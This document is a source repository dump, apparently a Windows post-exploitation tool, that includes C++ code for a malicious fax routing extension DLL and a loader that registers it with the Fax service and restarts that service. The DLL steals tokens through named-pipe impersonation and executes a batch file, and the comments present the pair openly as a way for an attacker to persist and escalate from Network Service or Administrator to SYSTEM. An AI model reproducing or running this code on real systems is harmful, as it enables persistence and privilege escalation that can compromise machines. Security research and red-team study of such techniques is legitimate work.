├── .gitattributes ├── .gitignore ├── FaxOffDLL ├── FaxOff.cpp ├── FaxOffDLL.vcxproj ├── FaxOffDLL.vcxproj.filters ├── framework.h ├── pch.cpp └── pch.h ├── NoFaxGiven.sln ├── NoFaxGiven ├── ConsoleApplication1.vcxproj.filters ├── NoFaxGiven.cpp ├── NoFaxGiven.rc ├── NoFaxGiven.vcxproj ├── res │ └── pinkiepie_ponylib.ico └── resource.h └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /FaxOffDLL/FaxOff.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * FaxOffDLL 3 | * ========= 4 | * A FAX extension DLL that can safely be injected into the FXSSVC to execute commands. 5 | * The DLL could use a namedpipe token inheretince exploit to elevate from "NETWORK SERVICE" 6 | * to "SYSTEM". It will currently execute any command from c:\temp\run.bat. 7 | * 8 | * e.g 9 | * C:\Windows\system32>whoami 10 | * nt authority\network service 11 | * 12 | * C:\Windows\system32>whoami /priv 13 | * 14 | * PRIVILEGES INFORMATION 15 | * ---------------------- 16 | * 17 | * Privilege Name Description State 18 | * ============================= ========================================= ======== 19 | * SeAssignPrimaryTokenPrivilege Replace a process level token Disabled 20 | * SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled 21 | * SeAuditPrivilege Generate security audits Enabled 22 | * SeChangeNotifyPrivilege Bypass traverse checking Enabled 23 | * SeImpersonatePrivilege Impersonate a client after authentication Enabled 24 | * SeCreateGlobalPrivilege Create global objects Enabled 25 | * 26 | */ 27 | #include 28 | #include "pch.h" 29 | #ifdef _M_X64 30 | #define WIN32 0 31 | #else 32 | #endif 33 | #include 34 | #include 35 | #include 36 | #pragma comment (lib, "Secur32.lib") 37 | #pragma comment (lib, "advapi32.lib") 38 | #pragma comment (lib, "user32.lib") 39 | #pragma comment (lib, "ntdll.lib") 40 | #pragma comment(lib,"winfax.lib") 41 | 42 | HINSTANCE g_hMainDll = NULL; 43 | 44 | // used to generate a random string for the named pipe. 45 | void GenRandomString(wchar_t* s, const int len) 46 | { 47 | static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 48 | for (int i = 0; i < len; ++i) { 49 | s[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; 50 | } 51 | s[len] = 0; 52 | } 53 | 54 | DWORD WINAPI ServerThread(LPVOID lpParameter) // create the server named pipe 55 | { 56 | HANDLE hPipe; 57 | BOOL isConnected; 58 | SECURITY_ATTRIBUTES sa; 59 | WCHAR server[512]; 60 | char buffer[256]; 61 | DWORD dwRead = 0; 62 | LPWSTR PipeName = (LPWSTR)lpParameter; 63 | wsprintf(server, L"\\\\.\\pipe\\%s", PipeName); 64 | if (!InitializeSecurityDescriptor(&sa, SECURITY_DESCRIPTOR_REVISION)) 65 | { 66 | return 0; 67 | } 68 | /*if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL)) 69 | { 70 | return 0; 71 | }*/ 72 | hPipe = CreateNamedPipe(server,PIPE_ACCESS_DUPLEX,PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, sizeof(DWORD), 0, NMPWAIT_USE_DEFAULT_WAIT, &sa); 73 | if (hPipe == INVALID_HANDLE_VALUE) { 74 | return 0; 75 | } 76 | isConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); 77 | if (isConnected) 78 | { 79 | ReadFile(hPipe, buffer, sizeof(buffer) - 1, &dwRead, NULL); 80 | if (!ImpersonateNamedPipeClient(hPipe)) { 81 | return 0; 82 | } 83 | // TODO: execute with primary token here 84 | WinExec("C:\\temp\\run.bat", SW_SHOW); 85 | } 86 | else 87 | CloseHandle(hPipe); 88 | return 1; 89 | } 90 | 91 | DWORD WINAPI ClientThread(LPVOID lpParameter) // loop connections to the named pipe 92 | { 93 | LPWSTR PipeName = (LPWSTR)lpParameter; 94 | DWORD cbWritten = 0; 95 | wchar_t server[512]; 96 | HANDLE hPipe; 97 | wsprintf(server, L"\\\\127.0.0.1\\pipe\\%s", PipeName); 98 | while (1) 99 | { 100 | hPipe = CreateFile(server, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 101 | if (hPipe != NULL) 102 | break; 103 | Sleep(100); 104 | } 105 | WriteFile(hPipe, L"A", 1, &cbWritten,NULL); 106 | CloseHandle(hPipe); 107 | return 1; 108 | } 109 | 110 | BOOL WINAPI DllMain(IN PVOID hInstanceDll, IN ULONG dwReason, IN PVOID lpReserved) 111 | { 112 | g_hMainDll = (HINSTANCE)hInstanceDll; 113 | HANDLE clientThreadHandle = NULL; 114 | HANDLE serverThreadHandle = NULL; 115 | DWORD dwThreadId0 = 0; 116 | DWORD dwThreadId1 = 0; 117 | switch (dwReason) 118 | { 119 | case DLL_PROCESS_ATTACH: 120 | /* thread spawning during DLL loadimage() */ 121 | wchar_t pipename[12]; 122 | memset(pipename, 0, sizeof(pipename)); 123 | GenRandomString(pipename, 11); 124 | /* This here runs as NT AUTHORITY\Network Service. */ 125 | clientThreadHandle = CreateThread(NULL, 0, ClientThread, pipename, 0, &dwThreadId0); // Create the Client. 126 | // now do the server to steal the tokens. 127 | serverThreadHandle = CreateThread(NULL, 0, ServerThread, pipename, 0, &dwThreadId1); // Create the Server. 128 | // execute commands inside server 129 | if (clientThreadHandle != NULL) { 130 | CloseHandle(clientThreadHandle); 131 | } 132 | if (serverThreadHandle != NULL) { 133 | CloseHandle(serverThreadHandle); 134 | } 135 | break; 136 | case DLL_THREAD_ATTACH: 137 | case DLL_THREAD_DETACH: 138 | case DLL_PROCESS_DETACH: 139 | default: 140 | break; 141 | } 142 | return TRUE; 143 | } 144 | 145 | extern "C" __declspec(dllexport) BOOL FaxRouteInitialize(HANDLE HeapHandle, void* FaxRouteCallbackRoutines) { 146 | // This function is explicitly called first within the DLL. 147 | return true; 148 | } 149 | 150 | // These functions need to be exported to prevent the FAX service from crashing. 151 | extern "C" __declspec(dllexport) BOOL FaxRouteMethod(PVOID * unnamedParam1, PVOID * unnamedParam2, LPDWORD unnamedParam3) { 152 | return true; 153 | } 154 | 155 | extern "C" __declspec(dllexport) BOOL FaxRouteDeviceChangeNotification(DWORD DeviceId, BOOL NewDevice) { 156 | return true; 157 | } 158 | 159 | extern "C" __declspec(dllexport) BOOL FaxRouteDeviceEnable(LPCWSTR RoutingGuid, DWORD DeviceId, LONG Enabled) { 160 | return true; 161 | } 162 | 163 | extern "C" __declspec(dllexport) BOOL FaxRouteGetRoutingInfo(LPCWSTR RoutingGuid, DWORD DeviceId, LPBYTE RoutingInfo, LPDWORD RoutingInfoSize) { 164 | return true; 165 | } 166 | 167 | extern "C" __declspec(dllexport) BOOL FaxRouteSetRoutingInfo(LPCWSTR RoutingGuid, DWORD DeviceId, const BYTE * RoutingInfo, DWORD RoutingInfoSize) { 168 | return true; 169 | } 170 | -------------------------------------------------------------------------------- /FaxOffDLL/FaxOffDLL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {F6B56202-477B-4985-AC9D-4220BC561955} 24 | Win32Proj 25 | FaxOffDLL 26 | 10.0 27 | FaxOff 28 | 29 | 30 | 31 | DynamicLibrary 32 | true 33 | v143 34 | Unicode 35 | Static 36 | 37 | 38 | DynamicLibrary 39 | false 40 | v143 41 | true 42 | Unicode 43 | 44 | 45 | DynamicLibrary 46 | true 47 | v143 48 | Unicode 49 | 50 | 51 | DynamicLibrary 52 | false 53 | v143 54 | true 55 | Unicode 56 | Static 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | $(ProjectName)_x64 82 | 83 | 84 | false 85 | 86 | 87 | false 88 | $(ProjectName)_x64 89 | 90 | 91 | 92 | Use 93 | Level3 94 | true 95 | WIN32;_DEBUG;FAXOFFDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 96 | true 97 | pch.h 98 | 99 | 100 | Windows 101 | true 102 | false 103 | 104 | 105 | 106 | 107 | Use 108 | Level3 109 | true 110 | _DEBUG;FAXOFFDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 111 | true 112 | pch.h 113 | 114 | 115 | Windows 116 | true 117 | false 118 | 119 | 120 | 121 | 122 | Use 123 | Level3 124 | true 125 | true 126 | true 127 | WIN32;NDEBUG;FAXOFFDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 128 | true 129 | pch.h 130 | 131 | 132 | Windows 133 | true 134 | true 135 | true 136 | false 137 | 138 | 139 | 140 | 141 | Use 142 | Level3 143 | true 144 | true 145 | true 146 | NDEBUG;FAXOFFDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 147 | true 148 | pch.h 149 | 150 | 151 | Windows 152 | true 153 | true 154 | true 155 | false 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | Create 166 | Create 167 | Create 168 | Create 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /FaxOffDLL/FaxOffDLL.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /FaxOffDLL/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /FaxOffDLL/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /FaxOffDLL/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /NoFaxGiven.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32630.192 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NoFaxGiven", "NoFaxGiven\NoFaxGiven.vcxproj", "{710DF201-EF03-473E-89B1-3F14484A6014}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FaxOff", "FaxOffDLL\FaxOffDLL.vcxproj", "{F6B56202-477B-4985-AC9D-4220BC561955}" 9 | EndProject 10 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{B8D79F0E-08FA-48DB-AF28-88305965D1C6}" 11 | ProjectSection(SolutionItems) = preProject 12 | README.md = README.md 13 | EndProjectSection 14 | EndProject 15 | Global 16 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 17 | Debug|x64 = Debug|x64 18 | Debug|x86 = Debug|x86 19 | Release|x64 = Release|x64 20 | Release|x86 = Release|x86 21 | EndGlobalSection 22 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 23 | {710DF201-EF03-473E-89B1-3F14484A6014}.Debug|x64.ActiveCfg = Debug|x64 24 | {710DF201-EF03-473E-89B1-3F14484A6014}.Debug|x64.Build.0 = Debug|x64 25 | {710DF201-EF03-473E-89B1-3F14484A6014}.Debug|x86.ActiveCfg = Debug|Win32 26 | {710DF201-EF03-473E-89B1-3F14484A6014}.Debug|x86.Build.0 = Debug|Win32 27 | {710DF201-EF03-473E-89B1-3F14484A6014}.Release|x64.ActiveCfg = Release|x64 28 | {710DF201-EF03-473E-89B1-3F14484A6014}.Release|x64.Build.0 = Release|x64 29 | {710DF201-EF03-473E-89B1-3F14484A6014}.Release|x86.ActiveCfg = Release|Win32 30 | {710DF201-EF03-473E-89B1-3F14484A6014}.Release|x86.Build.0 = Release|Win32 31 | {F6B56202-477B-4985-AC9D-4220BC561955}.Debug|x64.ActiveCfg = Debug|x64 32 | {F6B56202-477B-4985-AC9D-4220BC561955}.Debug|x64.Build.0 = Debug|x64 33 | {F6B56202-477B-4985-AC9D-4220BC561955}.Debug|x86.ActiveCfg = Debug|Win32 34 | {F6B56202-477B-4985-AC9D-4220BC561955}.Debug|x86.Build.0 = Debug|Win32 35 | {F6B56202-477B-4985-AC9D-4220BC561955}.Release|x64.ActiveCfg = Release|x64 36 | {F6B56202-477B-4985-AC9D-4220BC561955}.Release|x64.Build.0 = Release|x64 37 | {F6B56202-477B-4985-AC9D-4220BC561955}.Release|x86.ActiveCfg = Release|Win32 38 | {F6B56202-477B-4985-AC9D-4220BC561955}.Release|x86.Build.0 = Release|Win32 39 | EndGlobalSection 40 | GlobalSection(SolutionProperties) = preSolution 41 | HideSolutionNode = FALSE 42 | EndGlobalSection 43 | GlobalSection(ExtensibilityGlobals) = postSolution 44 | SolutionGuid = {E46D5773-F967-40F2-9DB1-CBA2AA7BA4DF} 45 | EndGlobalSection 46 | EndGlobal 47 | -------------------------------------------------------------------------------- /NoFaxGiven/ConsoleApplication1.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /NoFaxGiven/NoFaxGiven.cpp: -------------------------------------------------------------------------------- 1 | // NoFaxGiven - persists/exec a DLL as NT AUTHORITY\Network Service. 2 | // ================================================================= 3 | // A fax routing extension is a DLL that adds routing functionality to the fax service. Multiple 4 | // fax routing extensions can reside on one server. When the fax server receives a fax transmission, 5 | // it routes the received document through each of the fax routing extensions in order of priority. 6 | // A user sets the routing priority using the fax service administration application, a Microsoft 7 | // Management Console (MMC) snap-in component. The FAX service runs manually when an application 8 | // requests a connection to the FAX service, (such as when loading fxsadmin in MMC). On Desktops the 9 | // service is present but will timeout when attempting to set extensions as requires config & role. 10 | // More on MSDN. Administrator rights are required to interact with the service by default, if a 11 | // user has the FAX Config roles to the FAX service and is elevated then they may extend the FAX service. 12 | // 13 | // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/fax/-mfax-fax-routing-extension 14 | // 15 | // We can persist inside the FAX service - our DLL will be called each time the service is started, 16 | // which is not automatically called on a reboot so would only offer persistence on servers that 17 | // are actively using FAX features, it also offers an attacker an alternative pathway to SYSTEM from 18 | // Administrator privileges as you can escalate from the Network Service to SYSTEM. 19 | // 20 | #ifdef _M_X64 21 | #define WIN32 0 22 | #else 23 | #endif 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #pragma comment(lib,"Advapi32.lib") 34 | #pragma comment(lib,"user32.lib") 35 | #pragma comment(lib,"winfax.lib") 36 | using namespace std; 37 | 38 | BOOL PfaxRoutingInstallationCallbackw(HANDLE FaxHandle,LPVOID Context, LPWSTR MethodName, LPWSTR FriendlyName, LPWSTR FunctionName, LPWSTR Guid) 39 | { 40 | return 0; 41 | } 42 | 43 | int main(int argc, char* argv[]) 44 | { 45 | HANDLE hFaxServer; 46 | LPWSTR pDLLpath; 47 | DWORD dwError; 48 | size_t sSize; 49 | BOOL bRet = false; 50 | if (argc != 2) { 51 | printf("[!] Error, you must supply a path to a DLL\n"); 52 | return EXIT_FAILURE; 53 | } 54 | pDLLpath = new TCHAR[MAX_PATH + 1]; 55 | mbstowcs_s(&sSize, pDLLpath, MAX_PATH, argv[1], MAX_PATH); 56 | bRet = FaxConnectFaxServer(NULL, &hFaxServer); 57 | if (bRet) 58 | printf("[+] Sucess connecting to Fax Service\n"); 59 | // FAX services has internal roles, can check if have the FAX config role here and bail if not. 60 | 61 | /* These two names are exported in FAX_INFO structures, extension name & human readable friendly name (description) - could be randomized */ 62 | bRet = FaxRegisterRoutingExtension(hFaxServer, (LPWSTR)L"FaxOff", (LPWSTR)L"FaxRouteMethod", pDLLpath, (PFAX_ROUTING_INSTALLATION_CALLBACKW)PfaxRoutingInstallationCallbackw, NULL); 63 | dwError = GetLastError(); 64 | printf("[-] FaxRegisterRoutingExtension GetLastError() return %d\n", dwError); 65 | if (dwError == 5) { 66 | printf("[-] Access denied\n"); 67 | return EXIT_SUCCESS; 68 | } 69 | FaxClose(hFaxServer); 70 | printf("[-] Stopping FAX service...\n"); 71 | // should wait here properly by checking SCM, lazy to sleep 72 | SC_HANDLE schSCManager; 73 | SC_HANDLE schService; 74 | SERVICE_STATUS_PROCESS ssp; 75 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); // full access rights 76 | schService = OpenService(schSCManager, L"Fax", SERVICE_ALL_ACCESS); 77 | ControlService(schService, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS) &ssp); 78 | // this is not an elegant way to wait for a service but it works. 79 | Sleep(5000); 80 | // We need to reconnect to the service to launch our DLL. (service starts on-demand) 81 | bRet = FaxConnectFaxServer(NULL, &hFaxServer); 82 | if (bRet) { 83 | printf("[+] Sucess re-connecting to Fax Service\n"); 84 | } 85 | /* Remove this call here if you want to persist everytime it calls FAX service 